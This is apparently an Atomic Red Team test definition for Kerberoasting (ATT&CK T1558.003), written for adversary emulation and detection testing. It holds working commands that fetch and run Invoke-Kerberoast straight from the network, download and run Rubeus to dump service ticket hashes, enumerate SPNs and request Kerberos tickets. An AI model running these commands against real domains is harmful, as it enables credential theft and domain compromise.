attack_technique: T1558.003
display_name: 'Steal or Forge Kerberos Tickets: Kerberoasting'
atomic_tests:
- name: Request for service tickets
  auto_generated_guid: 3f987809-3681-43c8-bcd8-b3ff3a28533a
  description: |
    This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1
    The following are further sources and credits for this attack:
    [Kerberoasting Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)
    [Invoke-Kerberoast source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
    when executed successfully , the test displays available services with their hashes. 
    If the testing domain doesn't have any service principal name configured, there is no output
  supported_platforms:
  - windows
  dependencies:
  - description: |
      Computer must be domain joined
    prereq_command: |
      if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
    get_prereq_command: |
      Write-Host Joining this computer to a domain must be done manually
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)
      Invoke-Kerberoast | fl
    name: powershell

- name: Rubeus kerberoast
  auto_generated_guid: 14625569-6def-4497-99ac-8e7817105b55
  description: |
    Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
    This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
  supported_platforms:
  - windows
  input_arguments:
    local_folder:
      description: Local path of Rubeus executable
      type: Path
      default: $Env:temp
    local_executable:
      description: name of the rubeus executable
      type: String
      default: 'rubeus.exe'
    out_file:
      description: file where command results are stored
      type: String
      default: rubeus_output.txt
    rubeus_url:
      description: URL of Rubeus executable
      type: Url
      default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
    flags:
      description: command flags you would like to run (optional and blank by default)
      type: String
      default: null
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Computer must be domain joined
    prereq_command: |
      if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
    get_prereq_command: |
      Write-Host Joining this computer to a domain must be done manually
  - description: |
      Rubeus must exist
    prereq_command: |
      if(Test-Path -Path #{local_folder}\#{local_executable}) {exit 0} else {exit 1}
    get_prereq_command: |
      Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable}
  executor:
    command: |
      klist purge
      cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}"
    cleanup_command: |
      Remove-Item #{local_folder}\#{out_file} -ErrorAction Ignore
    name: powershell
    elevation_required: false

- name: Extract all accounts in use as SPN using setspn
  auto_generated_guid: e6f4affd-d826-4871-9a62-6c9004b8fe06
  description: |
    The following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. 
    A successful execution will output all the SPNs for the related domain. 
  supported_platforms:
  - windows
  input_arguments:
    domain_name:
      description: The Domain Name to lookup against
      type: String
      default: "%USERDNSDOMAIN%"
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Computer must be domain joined
    prereq_command: |
      if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
    get_prereq_command: |
      Write-Host Joining this computer to a domain must be done manually
  executor:
    command: |
      setspn -T #{domain_name} -Q */*
    name: command_prompt

- name: Request A Single Ticket via PowerShell
  auto_generated_guid: 988539bc-2ed7-4e62-aec6-7c5cf6680863
  description: |
    The following test will utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. 
    A successful execution will output the SPNs for the endpoint in question.
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Computer must be domain joined
    prereq_command: |
      if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
    get_prereq_command: |
      Write-Host Joining this computer to a domain must be done manually
  executor:
    command: |
      Add-Type -AssemblyName System.IdentityModel
      $ComputerFQDN=$env:LogonServer.trimStart('\') + "." + $env:UserDnsDomain
      New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/$ComputerFQDN" 
    name: powershell

- name: Request All Tickets via PowerShell
  auto_generated_guid: 902f4ed2-1aba-4133-90f2-cff6d299d6da
  description: |
    The following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. 
    A successful execution will output the SPNs for the domain in question.
  supported_platforms:
  - windows
  input_arguments:
    domain_name:
      description: The Domain Name to lookup against
      type: String
      default: "%USERDNSDOMAIN%"
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Computer must be domain joined
    prereq_command: |
      if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
    get_prereq_command: |
      Write-Host Joining this computer to a domain must be done manually
  executor:
    command: |
      Add-Type -AssemblyName System.IdentityModel  
      setspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  
    name: powershell
